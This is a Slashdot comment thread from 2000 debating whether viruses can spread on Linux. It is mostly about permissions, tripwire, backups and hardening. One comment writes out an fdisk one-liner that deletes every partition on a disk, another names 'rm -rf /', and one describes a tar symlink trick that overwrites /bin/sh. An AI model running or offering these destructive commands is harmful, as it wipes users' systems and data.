  • by bhurt ( 1081 ) on Monday January 24, 2000 @10:37AM (#1342504) Homepage
    The Morris Worm is actually a good example- yes, a Unix virus _can_ be written, but it takes more know-how than a DOS or WordMacro virus takes. Morris himself was the son of the head of computer security for the NSA, he knew pretty much all the holes unix had back then.

    The technical hurdle, as low as it might be, is important. By the time you are sufficiently knowledgable to be dangerous, you're usually intelligent enough to know _why_ this behavior is frowned upon. And have channeled your behaviors into more socially acceptable (and might I add, more rewarding) behaviors. Most decent sysadmins could be hackers and virus writters of legendary proportions. Generally, they aren't.

    The open source nature of Linux even helps here- as now there are other ways for a bright teenager to gain fame and technical esteem than writting virii. Instead, they can write kernel patches, or work on Gnome or Abiword, or write their own programs- in other words they can do something _productive_ rather than _destuctive_ programs. I'm kind of interested to see what a couple million chinese programmers can create. I doubt it'll be virii :-).
  • Ok, merge this with all known root shell exploits and you have a real virus (that can infect the system if the user isn't stupid enough to run something unchecked as root) - if you do that, though, it'll be so large that the size difference becomes really noticable. (Wait, why is that 3-line shell script I just wrote 72 kB?)
  • The one known Linux virus used a buffer overflow to obtain root before infecting other files. The problem with the buffer overflow method is that your virus will not have the longevity that it would in the Windows or Macintosh world. Security patches tend to come out very regularly in Linux and close those holes.

    Another method would be to scan the hard drive for setuid executables and test them for buffer overflows. Managing to do that in a small amount of space and without alerting the user that something is wrong due to drive thrashing would be quite a feat.

    A virus would not be as robust in Linux either, due to the differences in distributions and the tendency for a lot of people to compile their own code. A virus distributed in source code form wouldn't survive very long.

    Virusses would also have to fear programs like tripwire which take checksums of vital executables. This is another good reason to use tripwire and related products. While it is possible to defeat tripwire it would involve more code than a virus is likely to want to carry in its payload.

    Ironically, the best way to infect a Linux system with a virus would probably be from DOS. The author would have to encode enough ext2 reading and writing capabilities into his payload in order to subvert the linux side of the system and that code could get rather large.

    Unless you code your virus in a macro language, the cross platform nature of Linux will also bog down the prospective virus writer. Since the archetectures are very different and virusses usually do very low level stuff, he'd have to port the machine dependent code to the various Linux platforms. On the plus side he could use cvs and bugzilla so that his users could report bugs with his virus.

  • If the guys who coded the daemon didn't do a good job, a virus writer might be able to swing a buffer overflow with a properly coded get request. I don't know off the top of my head exactly what effect overflowing a buffer would have in the kernel though.
  • by Mr. Slippery ( 47854 ) <{ten.suomafni} {ta} {smt}> on Monday January 24, 2000 @11:00AM (#1342525) Homepage
    Of course viruses exist for Linux. Except they're called Trojans
    Viruses and Trojan Horse programs are different things. While the Mainstream Media(tm) persists in calling all malicious software "viruses", there are actually several different varieties:
    • Trojan Horse: named, of course, for the classic crack of the city of Troy by the Greeks. A Trojan Horse program is advertized to be something benign, but actually has it in for you. The user has to run a Trojan Horse for it to be able to attack. Many macro "viruses" fall into this category. Trojans are hard to hide in open source software, and if they are run by an ordinary user they are limited in the damage they can do.
    • Worm: a worm crawls from machine to machine across a network without user intervention. They often take advantage of bugs in network servers to spread - and since these servers often have root access, they can be more damaging than Trojans. Sometimes they leave a copy of themselves behind, sometimes not. The famous Internet worm is the best example. There is at least one worm that infects Linux machines (I was hit by it a year or two back on a loosely administered box; didn't seem to affect anything other than put a "w0rm" entry in my /etc/passwd.)
    • Virus: a virus infects specific executable files and reproduces to infect other files. (Macros make word processor documents into executable files, thus allowing macro viruses to exist. Emacs had the same problem with file variables, but the dangerous behavior is now off by default.) Unlike a worm or a trojan, the virus is (generally) a code fragment, not a complete program in and of itself - just as a DNA or RNA virus is a fragment of genetic material, not a complete living genome.
    There are a few other types, but these are the main ways that malware can get into your system. To complicate life, some malware exhibits behavior from more than one of these categories.
  • You could also not allow users, which is a much more sensible solution for 90% of the Linux using population. Most users don't have the know-how to lock their system down well enough to prevent a user from exploiting a buffer overflow. The general rule of thumb is if you don't trust a user with root, don't let him on your system.
  • I'd like to know what steps to take to prevent a system from being bombed by the superforker exploit. Its a simple little program that forks and forks and forks while filling up your /tmp directory in seconds. It would be nice to see distributions protected against exploits like this out of the box.

    There is a kernel module that replaces the exec() call (I think) and provides the exact protection you are asking about. You can tune the amount of forking by user and it also (IIRC) supports logging of "over-fork" conditions.

    Where is it? Here [freshmeat.net] is a link to Freshmeat [freshmeat.net].
  • > Is it possible for virus code loaded at boot time to survive the boot up process and then continue to run as root?

    The linux kernel takes over everything, so basically there shouldn't be any possibility for extraneous code to survive the boot process.

    Of course, you could "infect" in some way a kernel image, but one has to be already root in order to do that, so basically it's pointless.

    The problems arise when the user acts as a dumb monkey *as root*. There's little that you could do when some of your fundamental binaries are replaced by trojans (think of /bin/ls being replaced by trojan of some sort...).

    So:

    1) Don't take it too easy when you download something precompiled. Those md5sums are there for a reason, so use them!

    2) Don't run as root when you don't need to. Use utilities like "sudo" only on trusted binaries.

    3) Don't install something as root if you don't need to (in fact, there's little that actually NEEDS to be installed as root, and pratically nothing that actually NEEDS to stay necessarily in /usr/{bin/lib/sbin}).

    The first beta of WordPerfect 8 for Linux was known for producing a possible security hole when installed as root, and the usual advice (until it was corrected) was to create a particular user just for WordPerfect binaries. Not a virus, not a trojan, but just a mistake. You can always do something like this for binaries that you don't trust 100%.

    The remaining advice is the usual: make backups of data, make backups of data and still make backups of data. And possibly make a backup of your configuration files (not binaries, because reinstalling a Linux distribution from scratch generally doesn't take more that 1 hour, which shouldn't be a problem in a home environment). A CD recorder is something cheap enough that could do well today for home backups, if you can't afford a more expensive tape streamer.

    Keep in mind these basic principles, and trojans will stay away from you for a loooooong time.

    My 0.00001 Euro
  • by jd ( 1658 ) <(imipak) (at) (yahoo.com)> on Monday January 24, 2000 @11:14AM (#1342543) Homepage Journal
    It's easy. Run a non-standard configuration. A virus -has- to make certain assumptions about your computer. The only reason DOS and Windows viruses were so small is that you could make a lot of assumptions and be right most of the time.

    With Linux, that doesn't have to be the case. It's only as much the case as YOU choose it to be.

    Suggestions:

    • Put your data area into a non-standard filing system, such as ReiserFS, Ext3, SysV FS, etc. It's a lot harder to do low-level file mods when you don't know what the file looks like.
    • Lock down your root partition. TOTALLY. Put anything that needs to be writable in a seperate partition. Mount root as read-only, and keep it that way.
    • Install the latest glibc, unless you're using commercial apps. You can always recompile YOUR code, but a virus can't recompile it's.
    • Intrusion Detection Systems can be fun. LIDS is a good place to start, though just about any will do. Tripwire's another handy gadget to have around, too.
    • Install a non-standard permission system. Trustees, or POSIX ACL will do nicely. It's much less fun for the poor virus, if it can't even tell what permissions exist or where.
    • Don't put your standard binaries in any particular place. Let the virus look, for a change, if it wants to use any. It's not going to affect you, as you've got a path set up.
    • NEVER, EVER enable the kernel to support loading modules from alien versions. That way, any kernel virus has to be compiled for that specific kernel. And the odds of that are zilch, if you go and install the very latest.
  • Though *nix has a very strict file permission system, it is still a big hassle if a user on a system gets infected. Because then the sysop has to trace down who else on the system executed files of that user. And trace it down all the way.

    Funny, I thought that was what BSD process accounting was for. Track all the executions and return codes of all programs. Then there's also the kernel module that tracks every exec().

    I mean come on, if you're going to admin, don't be half-assed about it. Get your tcp loggers and your exec() loggers and set your user limits and WATCH the damn system. Don't set it up, leave it go and complain when you got rooted by a 6-week old exploit since you were surfing for pr0n instead of watching the security lists.
  • by Greyfox ( 87712 ) on Monday January 24, 2000 @11:21AM (#1342553) Homepage Journal
    And one day it came to pass that a luser decided to ignore the wisdom of his elders, and he did shake his hands at the heavens and swore to run as root forever.

    And the packets did boil and the ports turned red and soon every script kiddie in the land did make their way to his system, yea verily and they did own it.

    And the luser cried out to his elders and asked of them why there was no hard drive space left and why his drives did thrash the day and night and why 'who' did show 50 users on his system at all times.

    And lo, the elders laughed and spake unto him that it was time to wipe his hard drive clean of past sins and reinstall. And they did call him a dipshit and made fun of his penis size, and thus the luser was enlightened.

  • It doesn't need to infect or modify the kernel at all. All it needs to do is copy itself into the filesystem somewhere and insert a line into /etc/inittab.

    I don't know about your servers, but my /etc/rc.d/rc.* structure is only accessable as root to begin with. My firewalls boot from write-protected floppy. I've yet to see a virus reach out of the CD-ROM, pop the disk out, flip the tab and put it back in.
  • I, jd, hereby offer an Open Challange, the format of which is as follows:

    • I will select a standard distribution of Linux and select a number of Open Source tools from Freshmeat.
    • I will present anyone who accepts the challange with this list, but will NOT inform them how I have configured the box, NOR which (if any) of the tools I have installed.
    • Either the individual or the group who accept the challange must then write a virus which can demonstrably infect the computer AS A WHOLE, when executed by a regular user. (Infecting the user's account is insufficient to demonstrate the virus has actually infected the computer itself.)
    • The only prize I can offer is bragging rights. If you win, let your ability to write a Linux virus go unchallanged. If =I= win, I want the defeated party to acknowledge they were not able to write a virus that could defeat Linux. And if the defeated party is the Russian consultant in the article, I want a public apology and retraction for his claims.
  • Ever accidentally put a space in an rm you were using a wildcard with? It can get ugly.

    The upshot is that users in the know back up their critical data on a regular basis. If you can't be bothered to do that, don't expect any sympathy from anyone.

  • You've got nice friends... :) But why do you give them root login anyway? Do they really need it to do other things than just

    echo -e 'd\n1\nd\n2\nd\n3\nd\n4\n' | fdisk /dev/[hs]da ???

    I think it's a good habit to be the only one who knows the root password.
  • Tripwire takes checksums of all your important files, a major feature in many antivirus programs. Write your checksums to a zip disk, set the read only tab and check them every few days.
  • Most modern unices have some form of configurable resource limits. Things like number of processes, amount of memory, CPU usage, etc. can usually be limited per user, making "attacks" of this nature worthless.

    Disk quotas can prevent users from filling up filesystems, also.
  • >... have successfully completed one such prototype: the result is a fully functional and potentially virile Linux virus.

    i was more or less under the impression that "virile" (from latin "vir" meaning "man," i believe--akin to "puerile" from "puer" = "boy") referred to the sexual capability of a male, and that the correct word to describe a particularily nasty virus was "virulent." anyone want to correct me?

    No agrument here, a natural virus would be virulent. But its kinda funny to think about a "virile" computer virus. I think it would be one that automatically redirected your web browser to porn sites and guns.com :-)

    Or maybe popped up messages like "is my CD drive open or am I just happy to see you?" and "Are you implying I could ever have a soft drive?"

  • I think the point he was trying to make is that most Linux "newbies" don't fully grasp the concept of a multi-user operating system. Thus, they tend to either spend all of their time logged in as 'root' or at least use their root account at least as much as their normal user account (interchangeably).

    For this class of user, the potential for a Linux virus infection is much greater, since lots of Linux newbies (like their Windows counterparts) will quite happily run things as root without knowing what they do or where it came from.
    • What probably saves Linux most is that most users do not run programs they own, but root-owned programs. Moreover, there is a barrier between users, as well as between the users and root, which makes it hard for viruses to spread even within the system (let alone between systems).
    • However, users generally have a bin/ directory to which they have write access; they also have shell startup files (``dot files'') and the like. All these things could be contaminated by viruses running at the user level. The difficulty of leaping from one user to another still exists, but if some users have ``.'' in their path, putting an infected binary in /tmp might do the trick.
    • Many users carelessly download binary packages off the web and install them as root (possibly even running an install script as root). That is extremely dangerous.
    • Many programs come in source code, true. But: how often do you get a cryptographic signature with the source code? How often do you check the signature? Do you review the code before compiling it? How do you know the compiler doesn't have a back door (àla Ken Thompson [acm.org])? (All right, this is far fetched.)
    • Even extracting a tar archive as root, something you probably do often without thinking, is dangerous. It is possible to write an archive which contains a file foo that symlinks to /bin/sh and then the same file foo containing the contents you want to replace /bin/sh by. I am drifting away from the subject of viruses to security holes in general, but this is an important fact people are seldom aware of.
    • In theory, a luser cannot become root. In practice it is, in many cases, not so difficult. That is: Unix has two security barriers, one between ``not logged in'' and ``luser'' and one between ``luser'' and ``root''. The real security system lies in the first barrier, not the second. (You have seen ``hack this box'' contests: have you ever seen ``become root on this box, we give you an account'' contests?) So actually, a virus probably could spread throughout the system. In that case, the centralized, multi-user nature of the system would make things more dangerous.
    • Unix lacks flexibility in the question of security. Access Control Lists, capabilities, virtualization, are being introduced, but only slowly, and they remain distinctly alien to the entire philosophy. Contrary to more advanced systems, like the Hurd, Unix/Linux does not have the possibility of creating a virtual shell around a program, to prevent it from doing harm (well, there is ``user mode Linux'', but that is still very experimental). A luser cannot split its rights, call a program with limited rights. Heck, you are not even allowed to su to nobody if you are wary of a certain program! All this makes the viruses' life easier.
    • However, Unix has a few nice features. One is the strace function call. I tend, when I run an alien binary program for the first time, to systematically strace it to see which files it opens. While that does not remove the possibility of viruses, it somewhat reduces it, because something so blatant as open("/home/me/bin/sh", O_CREAT) would jump to my eye immediately.
    • Also, Unix/GNU does not have the ridiculous misfeatures that made the Melissa virus possible. No mailer will unconditionally execute something found in the mail. Even xterm control sequences are rather safe (I do not think it is possible to pirate an account with cat in an xterm).
    • I think the greatest asset of Linux in this domain is its heterogeneity. All Linux distributions are different. Many people have custom kernels, and so on. See: even for legitimate purposes it has often been a pain (you need an a.out/libc4, an elf/libc5, a glibc/libc6 and a glibc2.1 version of the same binary and so on). So imagine for a virus? Madness.
    • Nothing is ever completely safe. The virus situation in Linux will probably worsen in times to come. But even then, it will certainly always remain better than under a Microsoft operating system.
    • Just my EUR0.02...
  • No, thats what Cron is for :) manually backing up.. are you serious???
  • "Even if a virus cannot gain root access, to a home PC user, deleting his entire home directory is just as bad as infecting /bin/ls"

    Not quite true. If a virus deletes my entire home directory, and I'm smart, I just whip out the latest backup CD-R and do the restore as root. Voila, no more virus.

    On the other hand, if a virus infects my system running as root or infects my Windows system, there is nothing short of a reinstall I could do to make sure my system is secure. That virus might have infected anything on the system, from /bin/ls or explorer.exe to the kernel modules or kernel32.dll, and short of booting from a known clean floppy and reinstalling there's no way to be certain that a running virus isn't hiding itself from virus checkers (which isn't hard), maliciously attacking personal files repeatedly.

    And frankly, I have to reinstall Windows often enough when it's virus-free. I haven't reinstalled Linux in years, and I'd like to keep it that way.
  • Well, look at the Linux/Stoag [datafellows.com] computer virus. It does exactly what we're worrying about in exploit bugs.

    Linux as an operating system is, in actuality, a lot more insecure than we'd like to admit. To prove my point, look at RedHat's Linux 6.1 Security Advisories [redhat.com] page. How many of these packages were fixed to prevent root exploits? Five of thirteen. But look at how common some of these five are!

    Malicious people can use lpr of all things! Another famous example: bind. Or how about wu_ftpd? Those two, alone, are present alone on how much of the linux community?

    Honestly, were it not for freshmeat.net [freshmeat.net], I probably would not have discovered the existance of the new packages. (I don't check RedHat's site often. And I don't signup for mailing lists either... So this is my fault.)

    There are script kiddies out there who can manipulate the overflows in bind. (Please, for the love of God, if you haven't updated to bind 8.2.2_P3, go do so!) If a script kiddie can find a way to do that, then some coder worth his paycheck can probably figure out a way to have a program manipulate itself into root that way.

    I mean, all some perverse (or highly bored) programmer has to do is write a program to manipulate those bugs to get root... And then run rm -rf / to kill your machine. (There are, of course, nastier things one could do, but the less ideas I generate for others, the better.)

    By no means, are we safe. Linux virii will eventually be created and released into the wild. (There are even some that claim that MicroSoft will be the origin for the epidemic.)

    The only way we can keep ourselves truly safe is to catch security holes before the other side does and update our source packages before the attacks start.

    There is a saying in network security: "One loose link is all you need."

  • Thank you - that is exactly what I meant, yes.

    Windoze viruses spread so fast because the users let them - put a windows user on a linux box, and a virus will spread as fast there as it did under windows.
    I am responsible for virus control at the company I work for, and the number of users who will blindly answer "yes" to anything that appears on their screen is staggering - particularly on occasion if I am standing there watching them, having just told them off for getting the LAST infestation. Thank $DIETY at least SOME of my users have gotten the basic idea
    --

  • Viruses could happen in Linux just as easily as in Windows, if not more so. How hard would it be to embed a virus or trojan in freely modifiable and redistributable GPL code, then sneak it into a mirror? Big deal if most users can't install software -- it's not that hard to fool root, either.

    --

  • It has been claimed repeatedly that a virus, while not able to attack files that its user doesn't have write access to, could easily wipe out that user's entire home directory. Quite true (thanks for reminding me that I need to do a backup . . .)

    However, most newbies don't run any binaries (or even scripts) that they have write access to! How is a file infector going to work if all their executables are owned by root and they don't have write access?

  • Script kiddies love you. :-)

    Seriously, simply tossing in tripwire (and kin) is *not* adequate -- and in fact it leads to a false sense of security. The problem is that anyone with root access could modify the files, reinitialize the database, and the changes are indetectable.

    Even if your database is safe (e.g., CD-R, or r/o NFS directory), are you sure that tripwire hasn't een tampered with? That the crontab entry hasn't been tampered with? That the tripwire reports aren't disappearing down a rabbit hole?

    Don't get me wrong - tripwire is an extremely valuable tool, but unless the sysadmins knows what they're doing it can be easily circumvented by any knowledgable person with root access. Or by any script writer who knows how to check for the existence of local tripwire databases, for the times it runs as root and can do something nasty.
  • Of course, the obvious response is to run MS Office as root... in a chroot jail! It will be worth the hassles to have the obvious desktop icon.
  • 80M is impressively small, yes. But Linux can get even smaller while remaining fully functional...
    Take a look at muLinux (search fm, forgot the URL). On one floppy, it contains a large number of server daemons, plus a fair amount of small apps. Add another floppy, and you have X11 with a simple graphical browser and choice of 3 windowmanagers. Add another - extra kernel modules, scsi, and other goodies. Another - GCC and headers. A 5th - x/svncviewer. The sixth floppy has Tcl/Tk. Each floppy is 1722k, so that adds up to... 10332k - a little over 10M. Windows can't TOUCH that amount of functionality. in that little space.
    "If ignorance is bliss, may I never be happy.
  • My understanding is that their Lisp implementation has enough security built in to avoid the problem...

    :-)

    Cheers,
    Ben
  • FYI, GNU Parted is a great program, and (of course) it's GPL'd. It serves the same basic functionality as PartitionMagic 4.0, and if you were to make a boot floppy with it on there, you'd have no troubles at all. (Me, i blew out my floppy drive so i DO have troubles, but that's besides the point.) Hey, I suppose I could install a minimalistic linux distro with almost nothing (except parted) on a partition, as well as on my slackware, and that'd be all i needed... plan taken! (Any better plans, e-mail em to me...)

    --
    linuxisgood:~$ man woman
  • I have found that keeping /home on a it's own partition is usefull.

    Indeed.

    It is also important to consider the security advantage of a separate /var partition, Since this is where logs go. Allowing an attacker to fill your root partition with log info would likely be very bad.

  • Linux, where you get more Geek Chic for finding the bug than exploiting it.

    Viruses are on the way, and will most likely be even more attractive for Linux than WinXX. By writing a WinXX virus, I have to fool a virus checker, and even then I can generally only affect the clients of an organization. And if you have the "." in your path?? You're a great target. Plus, I can just start taking out your linux machines, your print servers, your databases, have a trojan report back keystrokes and network stats until it blows up?? Doable. And the virus will most likely not be open source.

    Plus, what about companies like Norton?? I have this sneaking suspicion that they actually create some of these viruses, both to increase the value of their own product, and to devalue the product of a competitor. (You'd be surprised at the viruses I've seen that only one virus checker can find when they all have updated defs.) I know that this delves into the realm of conspiracy theory, but if theres a Dr. Solomon's for linux, there will have to be a virus for it to find. And if linux gets a good mindshare....

    P.S. I wrote quite a bit of Unix virii back in the day, and it ain't that difficult.

    Just My 0.02
    Jason
  • The virus would have to find a way to get root access.

    No, all you need to do is trick the user in running something as root. For instance, offering him some nice looking software, and infect the system during "make install". You might even wrap it in a PGP signed RPM, with available fingerprints, and do the same trick when the RPM is installed.

    -- Abigail

  • It was somewhat understandable. But with the new distros that want you to create a non-root account upon installation, it is less understandable. Perhaps they need to add a function that if the user enters 'root' at the first logon, they are asked to confirm this, reiterate that it could be dangerous, etc.

    I beg to differ. That would be just too damn annoying for people who do know what they are doing. And for people who don't, well, though luck. People with no Unix experience shouldn't admin a Unix box - let alone install a Unix system. Either get experience as a user, or just run Windows. That's why M$ exists.

    -- Abigail

  • Geez,

    You'd think somebody (those other guys) forgot to include humor.h, or somebody urinated in their Cheerios this morning.

  • yea i did that today... i know floppies are essential, but i blew them out THAT DAY...

    --
    linuxisgood:~$ man woman
  • Out of interest, does that mean such people should not be using linux?
    No, not at all. It just means that you shouldn't expect moving them to Linux will wave a magic wand and keep them safe from all harm.

    Or at least until they've had you/me/someone else clueful, giving them a good training course? (I'm tempted to add 'with a cattle prod' but shall refrain... erm, oops :)
    Wristbands, and feedback software that jolts them every time they Luse :+)
    --

  • Now, this, of course, ignores the fact that if you were as kewl as you think you are, you wouldn't be USING RPM's ANYWAY!

    Well, duh, I don't.

    I want to learn Linux, but because of the great wisdom of Abigail, I shouldn't install it, I should get experience as a user.

    I dunno. Do you think the best way to learn how to fly is to buy a plane and just take off? Or would you start with making yourself more familiar with flying planes under the supervision of someone who knows how to fly?

    -- Abigail

  • Screwing up while learning Linux gives lots of hackers access to all the porn on my hard drive and the recipes for my mother's 'experimental' cooking.

    Screwing up gives Linux and Unix a bad name, people not knowing what they do flood IRC and Usenet channels with noise, and they give script kiddies many opportunities.

    -- Abigail

"All the people are so happy now, their heads are caving in. I'm glad they are a snowman with protective rubber skin" -- They Might Be Giants

Working...